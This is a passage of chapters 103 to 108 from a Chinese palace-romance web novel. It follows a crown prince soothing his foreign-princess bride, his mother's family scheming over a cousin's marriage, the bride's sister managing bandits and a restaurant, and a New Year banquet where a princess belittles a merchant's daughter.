“母后,儿臣已经跟父皇请过安了,太子府还有许多事情要处理,就先带若若回去了。” 说完就牵着沈安若的手离开。 皇后从椅子上站起来。 “澈儿…………” 回应她的却是小两口携手而去的背影………… (作者有话说:小夫妻的小嘴巴,怼天怼地怼绿茶) 第一百零三章 太子哄人 李小姐,他现在连一声表妹都不愿意称呼了吗?李清舒忍不住眼眶一红。 “姑母,看来表哥这是因为表嫂讨厌我了。” 自己能够坐上皇后之位,澈儿能够当上太子,全靠李家支持,原本之前就准备让顾家嫡女当太子妃,这样也能拉拢顾家,然后再让清舒当侧妃,这样让太子和李家的关系更为稳固,没想到顾家嫡女被秦王截胡了。 现在澈儿又心思都在那个异国公主身上,若是跟李家再生了嫌隙,那澈儿以后在朝堂上怎么办?皇后急忙拉过李清舒的手安抚。 “清舒,你别难过,他们现在不过就是在新婚燕尔,恩爱一些很正常的,等到过些日子,这股新鲜劲儿过去了,你表哥就会知道谁才能够有资格成为他的贤内助。” 李清舒闻言却低头掉下了眼泪。 “姑母,我是李家的女儿,自小就被教导以后要孝敬姑母,因为我是要嫁给表哥的,这些年以来清舒都将姑母当作亲生母亲来孝敬,为了表哥能够有足够的助力,之前姑母你准备跟顾家…………我也去了老家避嫌,可是我做了这么多,表哥的眼里根本就没有我半分位置。” “不过就是一个异国公主罢了,我与表哥自小的情谊啊,李家这么多年更是不留余力的支持表哥。” 说起娘家对太子的支持,皇后眼里也是愧疚。 “清舒,是姑母不好,让你委屈了,你放心,你是一定会嫁进太子府的,你说你把姑母当作亲生母亲一样对待姑母,这些年又何尝不是把你当亲生女儿看待?当母亲的哪里舍得自己的孩子受委屈?” 李清舒紧紧握住皇后的手,抬头看着皇后,眼里都是泪珠。 “姑母,你待清舒的好清舒又何尝不明白,可是落花有意随流水,流水无情恋落花啊。” “太子表哥既然不喜欢我,那我也不强求了,李家的女儿不是嫁不出去的,我今日回家就舍了女儿家的矜持,让母亲给我寻一门合适的婚事,也免得自己再惦记不该惦记的。” 皇后神色一变,这可怎么行?本来皇上就一直打压太子,替秦王拉拢人,现在李家就是太子的最大支持,一旦清舒跟别人成亲,那………… “清舒,你可不能如此鲁莽行事,姑母知道你今日伤心了,你听姑母跟你说…………” 李清舒却福身开口。 “姑母,今日清舒失态了,改日再上门陪伴姑母,清舒告退。” 她身边的丫鬟春桃夏荷也急忙跟着福身行礼。 随着李清舒转身离开,两个丫鬟也急忙跟上。 皇后看着几人离开的背影,着急的开口。 “清舒……你这孩子………” 语气里面都是无奈。 胡嬷嬷急忙上前扶着皇后。 “娘娘,娘娘你先不着急,表小姐估计是今日被太子殿下冷落了一时说气话,娘娘你这些年对她那么好,她肯定舍不得让娘娘你为难的。” 一边扶着皇后坐下,又抬手给皇后倒了一杯茶,继续宽慰道。 “更何况她对太子这么多年的心思,也不可能一时之间就放下的。” 皇后端着茶杯,无奈地喝了一口茶,叹了一口气。 “唉,澈儿是本宫的亲儿子,他自小读书用功,品貌非凡,进入朝堂以后更是运筹帷幄,本宫原以为他懂得权衡利弊,知晓何为对他最有利的选择。可如今,为了一个异国公主,竟如此糊涂,连李家的情分都不顾了。” 胡嬷嬷继续在一旁劝解道。 “娘娘,或许太子殿下也是顾及两国和亲的友好,这才善待凰仪公主的。” 皇后听了伸手扶着额头。 “他哪里是顾及两国和亲的重要性,他看凰仪公主的目光像极了皇上看德妃那个贱人的目光。” 说完又继续感叹道。 “清舒是李家特意为他培养的,一直对他痴心一片,容貌也是皇城数一数二的,他怎么就不懂本宫的苦心。” 胡嬷嬷只好继续劝道。 “娘娘别着急,表小姐向来聪慧,她今日所言,或许只是一时气话,等她冷静下来,定会理解娘娘得。” 皇后沉默了片刻。 “胡嬷嬷,开库房,将本宫当年嫁给皇上的时候先皇赏的凤冠送去李家给清舒,告诉清舒,是本宫忽略她了,往后即便是她真的不愿意给本宫当儿媳妇了,本宫也当她是女儿。” 太子府的马车里。 商玄澈挑着眉看着沈安若,眼里带着笑意,一点点的靠近她。 “若若,刚刚在宫里你换唤我什么?玄澈哥哥,你再喊一声。” 沈安若却看了他一眼,往一旁坐了坐,然后偏头。 “让你的清舒表妹喊去。” 这是生气了?自己去了也就听到了一两句,不知道之前发生了什么,现在看来,她这是在凤仪宫受委屈了,商玄澈伸手拉了拉她的衣袖! “这是受委屈了?” “是哪个不长眼的让若若生气了,跟我说,我替你教训。” 原本还以为,到了这天元当了太子妃以后,可以过上好日子了,好家伙,宫斗宅斗一样不缺,一个个菩萨心肠说话绵里藏针,沈安若气呼呼的不说话。 商玄澈伸手环抱着她,将自己的头靠在她的肩膀上。 “若若,我知道能够让你生气成这样,肯定是委屈了,可你总要告诉我发生了什么,不然我也不知道该如何给你出气啊。” “而且,我的态度可是很明确的,绝对不会让你委屈了自己,你这什么也不说,就跟我在这生闷气,这对我来说也不公平啊。” 沈安若拉开他的手,换了一个坐姿,看着他。 “商玄澈,你的母后让你表妹到太子府小住呢,咱们这才刚刚成亲,你说我该不该生气?” 商玄澈听得皱眉,母后怎么这般没有分寸,可到底是自己的母后,又不好说的太过。 双手扶住沈安若的手臂。 “若若,别生气了,这件事我会找时间跟母后好好谈一谈的。” 沈安若伸手捏了捏他的脸,气呼呼的开口。 “你这张脸还真是蓝颜祸水,之前出现一个顾思娴,现在又来一个李清舒,你到底还招惹了多少烂桃花?” 说完,又放下手,将头偏去一边。 商玄澈拉起她的手,放在自己的脸上,含情脉脉的看着她。 “若若。” “可我也幸好有这张脸不是吗?不然哪里能得若若喜欢?” 说得好像也有道理,沈安若看了看他的脸,可是感觉更气了,蓝颜祸水啊,以后还不知道要给自己招惹麻烦呢。 商玄澈看着她的神色,凑上前亲了亲她的脸颊。 “不气了好不好?我会处理好的。” 沈安若还是没有说话,商玄澈见状,直接亲吻了一下她的唇。 “若若…………” 这该死的压低的嗓音,还该死的好听,沈安若咬了咬唇,无奈啊,真的好无奈啊。 商玄澈察觉到她神色的变化,又凑了上去,这一次不是轻吻一下就离开,而是加深了这个吻,舌尖轻巧地撬开她的贝齿,温柔又缱绻地探寻着她口中的每一寸甜蜜。 沈安若先是微微一怔,随即伸手去推他。 “呜……………” 作者有话说:咱们澈澈好会哄啊,让你们的对象学一学 第一百零四章 倘开心扉 商玄澈抓住她的手,让她的手搂住自己的腰,大手也扣紧了她的腰肢和脖颈。 马车内的温度渐渐升高,空气中弥漫着一种甜蜜而又旖旎的气息,沈安若承受着他的占有,身子也靠在了他的怀里。 良久,商玄澈才缓缓松开她,额头抵着她的,眼中满是温柔与宠溺。 “若若,不气了好不好?” 沈安若气息不稳,靠在他的怀里,咬了咬唇瓣登了了他一眼。 “登徒子……………” 商玄澈凑近她的脸。 “乖,不气了,你要还气,我该忍不住了。” 沈安若听了眼里带着一抹震惊的看着他。 “你…………” 商玄澈用脸蹭了蹭她的脸。 “乖啦,我会处理好的,不气了。” 沈安若又看了他一眼。 “算了,你跟李清舒得以前我们还未认识,我不跟你计较了。” 稳了稳自己的气息,沈安若这才坐直了身子。 “母后的意思要让李清舒进太子府,这件事你准备怎么办?” “我虽然在天元的时间不久,但是也明白的,这李家现在是你最大的助力吧。” 商玄澈叹了一口气,伸手将她的手拉过来,双手捧住她的手。 “我这太子之位的确是李家推上来的,陛下并不喜欢母后,当年为了李家的帮衬娶了母后,母后又是李家最小的女儿,被宠着长大的,性子单纯了一些,这些年也一直被陛下冷落,可是李家门生众多,陛下这么多年只能冷着,也不敢废后,这也是陛下多次罚我,但是却不废了我的原因。” “若若,你我相识到成亲,快的感觉像是一场梦,我甚至都不敢相信,居然有一个人可以如此的护着我。” 眼神灼热的看着沈安若。 “此生,我商玄澈绝对不负你。” 面对他突如其来的表白,沈安若忍不住避开他的眼神。 “你继续说,我听着。” 商玄澈这才继续开口。 “清舒的确是李家培养的太子妃,甚至是未来的皇后,因为这些年陛下一直各种暗示会废了我,支持秦王的人也逐渐增多。” “母后与舅舅商量以后准备让我娶顾家的女儿,收取另外一部分兵权,只要天元的兵权掌管在我的手,朝堂上支持秦王的人就不足为惧。” “原本我与顾将军也是战场上共过生死的人,婚事商议起来应该会顺利,可是还不等母后跟顾家提亲,陛下一道赐婚圣旨,顾家变成了秦王阵营的人,同时陛下给我赐婚,南诏与天元和亲。” 听到这里沈安若面色微沉。 “天元的下一任储君不可能从异国公主的肚子里出来,所以本宫也是天元皇算计的一环。” 商玄澈缓缓开口。 “那是陛下的想法,这么多年陛下一直打压我,母后也是时常提醒我得感激李家的扶持之恩,我那个时候真的厌极了朝堂的权术。” “去南诏的路上,看到了百姓的艰辛,看着有的百姓连温饱都很艰难,我忽然又觉得有些嘲讽,我自小虽然不得陛下宠爱,可是也过着锦衣玉食的生活,身为储君,眼光只在朝堂之上未免有些过于狭隘,我的眼睛,也要看一看百姓的生活。” 沈安若听得看了他一眼。 “所以你在南诏停留那么久,就是为了找机会说服我的舅舅同意两国开通互市。” 商玄澈点了点头。 “是,当然,也是为了你。” 沈安若看着他,眼里带着一抹诧异。 “为了我?” 商玄澈把玩着她的手。 “我这些年虽然是太子,可是身上的担子太重了,哪有时间去想儿女私情,我的婚事,原本就是任由陛下和母后坚定的,我也没时间风花雪月,第一次见你,我当时心里就很震惊,居然有女子可以划伤自己的手臂抵抗药物的,后来…………” 沈安若急忙抬手。 “这一段跳过去。” 看着她的脸颊微红,商玄澈笑了笑,眼里都是宠溺。 “总之,就是觉得你很特别,然后就让人去查你,结果在宴会上见到了你,没想到你就是我的妻子,后面你的所作所为,更是深深的吸引着我,让我总想去了解你多一些,你想多了解了解你生活的地方。” 沈安若听得看了看他,抿嘴忍不住笑意。 商玄澈伸手将她搂过来,让她靠在自己的怀里。 “这些年李家帮我太多了,虽然李家也为了家族利益,可是帮了就是帮了,甚至若是没有李家护着,说不一定我已经没机会遇到你了…………” 沈安若从他的怀里出来,目光冷冷的看着他。 “所以你想要我接受李清舒。” 商玄澈伸手又将她拉了过来。 “不会,当年陛下娶了母后,可是却一直冷落着母后,甚至连带着母后的孩子他也厌恶,我不会让我的妻子走我母亲的路,我更不会让我的孩子走我走的路。” 沈安若这才放松了身子,靠在他的怀里。 “那你准备如何?李家既然是按照未来皇后培养的李清舒,怕是不可能轻易算了。” 商玄澈双手与她手指纠缠。 “我会找一个机会好好的跟舅舅谈一谈,我本就李家的血脉,李家的帮扶我不会忘记,李家的人往后只要是有才能的,我都会委以重用,但是婚事是不可能的。” “而且,李家也没得选。” 沈安若听着抬头看着他,抬头亲了亲他的下巴。 “既然你如此拎得清,我也不会太过于让你为难,李家只要不太过分,我也不会太计较。” 镇国公府。 春桃看着沉默了一路的李清舒,给她倒了一杯茶,自己是自小跟在小姐身边的,能够明确的感觉到,小姐很难过。 “小姐,喝杯茶暖暖身子,太子殿下只是一时间没有想起来小姐的好,但过一些日子,太子殿下总能想起小姐的好的。” 李清舒端着茶杯,紧紧的捏住了茶杯,指尖都在发白,声音带着几分清冷的开口。 “春桃,以后这样的话不必再说了,我已经听够了。” 夏荷此时走了进来。 “小姐,夫人来了。” 李清舒站起了身子,朝着走进来的镇国公夫人行礼。 “母亲。” 镇国公夫人伸手握住她的手。 “清舒。” 看着她红着的眼睛,镇国公夫人关切的开口。 “我一听丫鬟说你回来了,就过来看你,你不是进宫陪伴你姑母了吗?怎么感觉你哭了?” 李清舒拉着镇国公夫人坐下。 “母亲,我没事。” 镇国公夫人看着她开口。 “你是我的女儿 ,你有没有事母亲看不出来吗?告诉母亲,到底怎么了?” “你可是镇国公府的嫡小姐,有谁敢欺负到你的头上?” 李清舒将头偏向了一边。 “母亲,女儿这个年龄该相看婚事了吧?” 第一百零五章 立场 镇国公夫人听得眉头一皱,伸手摸了摸李清舒的额头。 “你这孩子,莫不是生病了?” “你的亲事不是早就与你姑姑定好的吗?你是要嫁给太子的。” 李清舒看着镇国公夫人不甘心的开口。 “母亲,李家的女儿是嫁不出去了吗?一定要嫁给太子吗?太子已经有了太子妃了,你们将我养大就是送去给别人做妾吗?” 清舒一直都是温婉乖巧的孩子,这是第一次如此反驳长辈的话,镇国公夫人听得心里一惊,很快脸上有了一抹怒意。 “清舒,你知不知道你在说什么?” 声音因为愤怒提高了几分。 “你与太子是打小的情谊,李家这么多年早就与太子府绑在一起了,你与太子的婚事关乎着家族的兴衰荣辱……………” 又是这些为了家族的话,李清舒忍不住哭了起来。 “母亲,我是一个人,一个活生生的人,就为了家族,我就得像一个布偶一样任你们摆弄吗?” 镇国公夫人抬手就要打李清舒巴掌。 “闭嘴,居然如此顶嘴,这些年教你的规矩都学到狗肚子里去了吗?” 春桃看得心里一惊。 “夫人…………” “夫人不要,小姐只是今日受了太多委屈。” 镇国公夫人的巴掌还是没有落下来,只是将手高高的举起。 李清舒也没有躲避,反而是仰头看着镇国公夫人。 “母亲,你想打就打吧,左右在你们的眼里,我也不过是你们拿来笼络太子的一个工具。” 可是说着眼泪却不停的滚落下来。 这可是自己千家万宠养大的女儿,自己连生两个都是儿子,小女儿算是老来得女,可这个女儿却是一个乖巧的,从小琴棋书画学起来从来不叫苦,长大了更是才名在外,镇国公夫人急忙抬手给她擦拭眼泪。 “清舒,我的清舒,告诉母亲,到底怎么了?” “你这受了委屈也要说啊,你不说母亲怎么知道呢?” 李清舒听了低头开口。 “总之,母亲你帮我相看婚事吧,最好能够嫁得远一些。” 镇国公夫人听得都着急了起来。 “你这是都在胡说一些什么?” 然后将目光看向了春桃。 “春桃,你来说,今日小姐进宫到底发生了什么?” 春桃福身行礼道。 “夫人,今日小姐进宫陪着皇后等着太子妃去敬茶,皇后娘娘提议让小姐去太子府小住,可是被那个凰仪公主糊弄过去了,后面太子来了,太子眼里都是凰仪公主,还称呼小姐为李小姐……………” “奴婢…………奴婢说一句大不敬的话,太子殿下现在有了太子妃,眼里哪里还有我们家小姐,亏得小姐这么多年一直都在皇后身边尽孝,对太子一次次的帮扶,还真是青梅竹马抵不过天降,不过就是一个异国公主罢了,太子殿下也太过分了。” 镇国公夫人闻言,面色骤变,手中的帕子被她无意识地攥紧。 “好一个太子,过河拆桥,过河拆桥,这河还没有过呢他都开始拆桥了。” “这么多年我们李家出人钱出力,为了保住他太子的位置,损耗了多少心血?如今成亲了就对我们李家这个态度。” 李清舒低头开口道。 “母亲,太子婚宴的时候,女儿也试探过她的心意,当时父亲还在与其他大人周旋,为的就是给他拉拢朝中大臣,可是女儿被他指责没有界限,今日在宫里的时候,他对女儿的态度更是冷得如冰。” “母亲,女儿也是李家的嫡女,与太子的婚事也是你们与姑母商议的,不是女儿上赶着非嫁不可的。” 春桃已在一旁开口附和道。 “夫人,你是不知道今日小姐有多委屈,那个凰仪公主,故意炫耀太子对她有多宠就算了,还阴阳怪气的说小姐该定下婚事了,甚至还跟太子告状,让太子与小姐生了嫌隙。” 镇国公夫人听着,心中的怒火如燎原之火般熊熊燃烧起来。 怎么也没想到,自己一直悉心培养、寄予厚望的女儿,今日竟受到了如此多的委屈。 “好一个凰仪公主,看在太子的份上,李家一直不曾为难她,她倒是为难我李家的女儿起来了。” “清舒,是母亲和你父亲考虑不周,让你受了这般苦。” 镇国公夫人心疼地将李清舒揽入怀中,声音中满是自责。 “你放心,母亲不会让任何人欺负你的,哪怕是和亲公主也不行。” 李清舒靠在母亲怀里,泪水再次夺眶而出。这么多年的委屈和不甘,在这一刻似乎都找到了宣泄的出口。 “母亲,给我寻一门亲事吧,嫁远一些,等时间够久了,我就可以忘记这皇城的一切了。” 镇国公夫人听了沉思了片刻,拉着李清舒的手。 “清舒,凰仪公主给你的难堪母亲会给你找回来的。” “至于亲事,母亲做不了主,你是一个懂事的孩子,你要为了家族着想,你暂时先忍一忍,你的父亲与你姑母商议过的,现在太子妃是谁不重要,等到太子登基以后,你就是皇后,现在的情况不过是权宜之计,到时候不过就是一个异国公主罢了…………” 又是这一套说辞,李清舒不甘心的开口。 “母亲,当初为了太子能够顺利拉拢顾家,女儿已经回过一次老家了,什么太子登基以后,什么皇后,这些说辞女儿已经听倦了,女儿也知礼义廉耻。” “而且,就算我最后真的当上了皇后又怎么样?姑母现在不就是皇后吗?即便有了我们镇国功夫撑腰,姑母的凤仪宫还不是跟冷宫一样,即便我们逼得皇上将表哥立为太子,太子不还是连喊皇上一声父皇都不能吗?” 李清舒的声音带着一丝决绝与悲凉,她的话如同一把锋利的刀,直直地刺进了镇国公夫人的心里。 镇国公夫人怔怔地看着女儿,一时竟无言以对。 是啊,这些年要不是李家,皇后与太子早就被废了,可是李家付出了这么多,若皇后不是出自李家,那李家这些年的坚持又算什么? 屋内陷入了短暂的沉默,只有李清舒压抑的抽泣声在空气中回荡。 许久,镇国公夫人才缓缓开口。 “等到年后,母亲办一场宴会,宴请太子妃,到时候再与你父亲商议,你也不要再难过了,你是李家的女儿,不论如何,李家都是你的后盾。” 第一百零六章 姐妹通信 幽州。 明月楼。 沈安昕与一白衣男子正在下棋,棋盘之上,黑白棋子错落有致,宛如两军对垒,杀气隐隐。 剑梅与珠儿站在她的身后,江千屿在远处坐着观看着棋局。 白衣男子眉头微蹙,手中捏着一枚黑子,迟迟未落,目光紧紧锁住棋局,似在寻找那能一举扭转乾坤的关键一击。 沈安昕则气定神闲,嘴角挂着一抹若有若无的浅笑,修长的手指轻轻摩挲着白子,仿佛一切尽在掌握。 “大当家的,这局棋你已陷入困境,再不落子,可就再无回天之力了。”沈安昕轻声开口,声音温柔却又带着一丝不容置疑的笃定。 白衣男子拿起一枚棋子落下。 “姑娘莫要过早下定论,这棋局变幻莫测,胜负尚未可知。” 沈安昕看着他落子的位置,手中白子“啪”地一声落在棋盘之上。 这一子,犹如一颗投入平静湖面的石子,瞬间打破了棋局的僵局,局势开始悄然发生变化。 白衣男子微微一怔,随即眼中闪过一丝赞赏。 “好一个沈姑娘,果然不容小觑,这一局是在下输了。” 沈安昕笑着收起棋子。 “大当家承让了,这文我与大当家的还能比上一比,若是大当家的要比武的话,就请大当家的去天元的皇城寻找我妹妹沈安若。” 江千屿站起身,走过来看了看棋局。 “大哥,这么多年了,终于有你输的时候。” 白衣男子看了看江千屿。 “多嘴。” 江千屿却继续开口道。 “大哥,要不你就认了吧,沈当家的武功只怕你打不过,我跟她交过手,剑气凌厉,招招都是杀机,而且沈当家的虽然一开始是与我们不打不相识,可是现在的确让我们吃饱了饭有了好房子住,等到月清城建起来了,我们再也不用当山匪了。” 自己没想到,出去玩一圈回来,家被偷了,几百个兄弟变成了别人的苦力,慕容傅看了一眼江千屿。 “没出息的东西。” 江千屿摸了摸鼻尖。 “可我们不就是图能够吃饱吗?” 慕容傅看了他一眼,朝沈安昕拱手。 “沈小姐,在下慕容傅,对沈小姐的棋艺甘拜下风。” “既然这些兄弟们信服沈小姐,那往后这些兄弟就托付给沈小姐了。” 沈安昕微微欠身,回了一礼,目光中带着几分郑重。 “慕容大当家放心,我既接手,定不会亏待了这些兄弟。月清城的建造本就是为给众人谋一个安稳未来,往后大家齐心协力,这城必能建成。” 慕容傅看了看江千屿。 “既然你们愿意跟着沈小姐,往后就做好自己该做的事情。” 然后转身朝外走去。 沈安昕忽然开口。 “慕容公子。” “明日就是除夕了,你与江公子他们都是兄弟,不如留在月清城与大家过年。” 慕容傅转身看着沈安昕。 “那初二幽城的花灯,可否请沈小姐带路逛逛。” “顺便再与沈小姐下一局。” 沈安昕微微一怔,随即嘴角上扬,露出一抹温婉的笑意。 “可。” 慕容傅闻言脸上露出一抹笑意。 “那我们初二见。” 这就又愿意留下了?江千屿露出一抹惊讶。 “大哥………” 慕容傅开口道。 “带路啊,让我好好了解一下月清城。” 江千屿却将目光看向了沈安昕。 沈安昕点了点头。 “去吧,顺便多采一些年货回去,让兄弟们过一个好年。” 说完对珠儿使了一个眼神。 珠儿上前拿出银票。 “江公子,这是大小姐给大家的过年银子。” 江千屿急忙接过银票,朝沈安昕拱手。 “多谢大小姐,属下告退。” 剑梅疑惑的开口。 “大小姐,为何你要留慕容公子过年?” 沈安昕缓缓开口。 “能够在天涯山建立一个山寨,然后还来无影去无踪,而且让江千屿臣服,武功肯定是不在话下的,还精通君子六艺,这个人不简单,再接触接触,如果可以,让他以后给若儿效力也不是不行。” 珠儿听得在一旁开口道。 “原来大小姐是要给公主殿下谋划呢。” 沈安昕听了眼里闪过一抹伤感,明日就是过年了,以往的时候自己都是与若儿一起过年的,现在却要分开了,也不知道什么时候才能与若儿在一起。 “珠儿,去让陆今也来见我。” 珠儿闻言默默的退下。 很快陆今也走进来恭敬的拱手。 “大小姐。” 沈安昕看着他开口。 “坐吧。” “我看酒楼的生意还不错,特别是我们南诏厨娘所做的鲜花饼,很是受欢迎,你说说现在的收益情况。” 提到了酒楼的生意,陆今也脸上露出一抹自豪。 “回大小姐的话,我们酒楼一开业就生意火爆,就短短一月的时间,我们也挣回本了。” 随即从怀里面拿出来一本账本。 “大小姐你看。” 沈安昕翻看着账本。 “难怪若儿看重你,你的确是一个有本事的,这明玉楼当初可是连客人都没有,你接手一个多月,居然让生意如此的红火。” 陆今也笑着开口。 “大小姐高赞了,也是多亏了大小姐和公主的收留,才让我有机会将母亲交给我的东西发扬光大。” 沈安昕看着他开口。 “你以后不用对我如此客气,都是从南都来的,你如果愿意的话,喊我一声阿姐。” 陆今也听得眼里惊讶,随即又收敛了神色。 “大小姐,这于礼不合。” 沈安昕闻言笑着开口。 “没有什么合不合的,以后就喊阿姐吧,你培养一下酒楼里的掌柜,等到掌柜的能够将这酒楼打理好,你该去找若儿了。” 陆今也听了点了点头。 “好,我听阿姐的。” 此时珍儿带着一个人走进来。 “大小姐,公主身边的剑柏来了。” 沈安昕一脸惊喜的站起来。 “是若儿给我送信来了吗?” 只见剑柏一身黑色斗篷的走进来。 手里拿着一个包袱。 “见过大小姐。” 沈安昕急切的开口。 “快别行礼了,信呢?” 作者有话说:我本人一直很嗑姐妹的相互守护,你们喜欢看吗?若是有建议,可以评论出来 第一百零七章 除夕宴 阴阳怪气 剑柏将手里的包袱递上。 沈安昕急忙拿过来打开。 包袱里静静躺着一封信,信封上那熟悉的字迹,让沈安昕眼眶瞬间泛红。 她颤抖着双手拆开信封,目光急切地扫过每一个字,泪水在眼眶中打转,却始终没有落下。 “姐姐,见字如面,我与太子已经顺利成婚,和亲也算是落下了结局,天元皇城的斗争比南都还要复杂一些,不过姐姐你放心,若儿都能够应付得过来,太子目前也还算护着我,就是有一些想念姐姐,不知月清城建造的如何了?也不知道姐姐在幽州可否适应?姐姐你一定要写信如实告知。 “我让人姐姐做了一身衣服,还给姐姐带了一些天元的首饰,就当是给姐姐的新年礼物了,希望姐姐会喜欢,盒子里给姐姐带了二十万两银子,也不知道够不够月清城开支,若是建设月清城不够,姐姐一定要给我说,不许苦了自己。” 落款处。 爱姐姐的若儿。 沈安昕擦拭一下眼角不知不觉掉下来的眼泪,若儿还是这么关心自己,自己一定要尽快建设好月清城给若儿做好后盾。 包裹里一套衣服,色彩淡雅,针脚细密,一看便是用了心思精心缝制的。 沈安昕将衣服拿起来,果然里面裹着精致的盒子里。 打开盒子,首饰在闪烁着温润的光泽,每一件都独具匠心,显然是沈安若精心挑选的,首饰下面压着一叠银票,包裹里还有三个特别的药盒子,那是给江千屿他们的解药。 沈安昕将衣服和首饰仔细收好,在这皇权纷争、局势复杂的背景下,若儿在天元皇城步步为营,却依然时刻惦记着自己,心里暖意满满,因为今年不能跟沈安若一起过年的失落也跟着消失了。 “剑柏,你先住下,明日出席我带你去月清城过年,你将你看到的告诉若儿。” 皇城里。 除夕夜都要进宫参加宫宴。 殿内灯火辉煌,丝竹之声不绝于耳,各路皇亲国戚、朝廷大臣皆已就座,气氛热闹非凡。 商玄澈抬手给沈安若夹菜,沈安若一边吃菜一边看着表演。 而秦王坐在商玄澈和沈安若的对面,身边除了秦王妃顾思娴以外,还有一位蒙面女子。 既然是宴会,皇城勋贵都在此,自然也免不了各家千金贵女展示才艺。 有了之前沈安若在宴会上赏赐高晚宁的事情,这次的宴会倒是无人敢让太子妃表演了。 各家千金贵女都在拼尽全力, 想要在皇上各位皇子的面前赢得头筹,因此这表演可谓是各有千秋。 沈安若饶有兴趣的看着,时不时吃一些菜,喝一口茶。 直到一道声音响起。 “这各家贵女夫人都表演了,不知高家少夫人表演什么?” 这是平阳公主的声音,沈安若听得目光也看向了高家那边。 只见一个女子站起身,低着头,因为有一些紧张,她的双手捏着手袖。 “回………回公主的话,臣妇才疏学浅…………” 平阳公主却开口打断她的话。 “你还不想表演不成?你一个商女,能够有如此机会展示自己的才艺,那是你三生有幸。” 女子忍不住看向身边的高晚意,只见高晚意默默的喝酒不说话,女子只好福身道。 “那臣妇就献丑了。” “臣妇愿意抚琴一曲,给太后娘娘,皇上,皇后娘娘还有诸位娘娘公主助兴。” 王司记低头在沈安若耳边开口。 “这是高家娶的那位少夫人,叫赵钱钱,是天元有名的商业大户赵家的嫡女。” 赵钱钱,找钱钱,这赵家果然不愧是经商的,取名都如此的特别。 赵钱钱缓缓走向中央摆放的古琴,她深吸一口气,双手轻轻搭在琴弦之上。 或许是因为紧张,琴音初起,略显生涩,但很快便流畅起来,如潺潺流水,在这喧嚣的殿内竟也有了一丝清幽之意。 沈安若打量了赵钱钱一番,容貌是属于小家碧玉类型的,琴艺比起先前表演的那些贵女的确要差上一些,但是也还能听上一听。 一曲毕。 赵钱钱紧张的开口。 “献丑了。” 平阳公主看着她一脸轻蔑的开口。 “的确是献丑了,这琴音实在是过于难听,这古筝乃是宫廷里的名琴,让你这一番触碰,当真是弄脏了这把琴。” 这话含沙射影的啊,沈安若看了看平阳公主。 赵钱钱则无地自容的行礼。 “是臣妇妇技艺不精,扰了诸位雅兴,还请恕罪。” 她的声音带着一丝颤抖,头也低得更深了,恨不得找个地缝钻进去。 平阳公主见状得意一笑。 “表哥,这商女还真是配不上你,礼仪规矩琴棋书画没有一样拿得出手的,不如让本宫身边的嬷嬷去你府上教一教她规矩,让她知晓往后该如何侍奉公婆打理好内宅。” 平阳公主此话一出,一众人神色各异,这大过年的,平阳公主怎么故意为难人? 赵钱钱一脸求助的看着高晚意,可是高晚意却开口道。 “那就劳烦公主了。” 沈安若端着茶杯的手摩擦着茶杯,看了看高晚意,自己的妻子都不知道护着,还真是一个垃圾。 见高晚意同意了,平阳公主更是一脸的得意。 起身朝天元皇撒娇的开口。 “父皇,今晚是出席宴会,平阳也要表演一番。” 天元皇向来宠爱这个女儿,听闻她要表演,立刻来了兴致,笑道。 “好,朕的平阳自幼聪慧,才艺出众,今日便让朕与诸位爱卿开开眼界。” 好巧不巧的,平阳还是选择了弹琴。 用的还是那把古筝。 平阳公主莲步轻移,姿态优雅地走向古琴,在琴前款款落座。 她微微扬起下巴,眼神中满是自信与傲慢,与方才赵钱钱紧张局促的模样形成鲜明对比,甚至还看了一眼赵钱钱,眼里都是轻视。 只见平阳轻轻抬起双手,纤细的手指搭在琴弦上,随即,一串灵动而激昂的琴音如潺潺溪流般倾泻而出,瞬间将殿内的气氛点燃。 众人皆被这美妙的琴音所吸引,纷纷露出赞叹之色。 “不愧是德妃娘娘所生的公主,这手琴艺,放眼整个皇城只怕是无人能及。” “是啊,平阳公主不仅容貌出众,琴音更是动耳悦听,可谓是容貌双全啊。” 钱多多听着众人对平阳公主的夸赞,再听听现在的琴声,只感觉惭愧无比,目光忍不住看向高晚意,只见高晚意目光都在弹琴的平阳公主身上,眼里一阵落寞。 一曲终了,平阳公主优雅地起身,朝天元皇盈盈一拜。 “平阳祝父皇和母妃新年快乐,岁岁年年,万喜万般宜,朝朝暮暮,心心相印,愿我天元王朝国运昌隆,四海升平。” 第一百零八章 一举三得 皇后脸色微臣,皇上与德妃心心相印,那自己这个皇后算什么? 天元皇龙颜大悦,连声夸赞。 “好,好,朕的平阳真是越来越出色了,跟秦王一样,甚得朕心,你想要什么赏赐?你跟父皇说。” 平阳闻言看向赵钱钱一眼,然后起身抚摸着刚刚的古筝,意有所指的开口。 “这把琴听说是宫里特意为了除夕宴会准备的名琴(桐君),儿臣觉得,一把好琴应该在懂琴人的手里,不然就平白玷污了一把好琴,父皇若是真的想要给儿臣赏赐,不如就将这把桐君赏赐给儿臣吧。” 平阳公主此话一除,赵钱钱的脸色瞬间变得煞白,她紧咬着下唇,双手不自觉地揪紧了衣角,眼中满是惶恐与无助。 就算自己再蠢也明白,阴阳公主这是在暗指自己配不上高家大公子。 天元皇只是笑着点头。 “平阳所言有理,这把桐君确实该配懂琴之人。既然平阳喜欢,那便赐予你了。” 平阳公主闻言,嘴角勾起一抹得意的笑容,她福身谢恩,眼神再次扫过赵钱钱,那其中的轻蔑与挑衅不言而喻。 沈安若从头看到尾,这个平阳,玩得好一手阴阳怪气啊,甚至送祝福的时候还故意让皇后也难堪。 将手中的茶一饮而尽,罢了,帮一把吧。 “陛下,皇后娘娘,平阳公主的琴声果然是一绝,听得安若不住想上手一试了,说来安若来天元也有一些日子了,今日就借除夕宴会给太后娘娘、陛下和皇后娘娘表演一番吧!” 天元皇看了一眼沈安若。 “既然太子妃有心要表演,那就表演一场吧。” 沈安若闻言看向太后。 “皇祖母,安若因为极少表演才艺,所以也没有准备琴,刚刚陛下已经将宫里准备表演用的琴赐给平阳公主了,安若乃是知晓廉耻之人,不能抢别人心头所爱。” “听闻皇祖母也是爱琴之人,皇祖父当年与皇祖母伉俪情深,更是给皇祖母打造了一把绝世好琴,名为“长相思”,与皇祖父所用的笛子连理枝最为相配。” “安若与太子新婚不久,正是新婚燕尔之时,皇祖母可否借用长相思与连理枝,让安若与太子也让安若与太子也效仿皇祖父皇祖母,来一场琴笛和鸣之雅事?就当是皇祖母给安若和太子的祝福。” 自己可是宫里长大的,如何能够听不出来这其中的深意,平阳公主狠狠地看了一眼沈安若。 赵钱钱则看着沈安若,她就是太子妃吗? 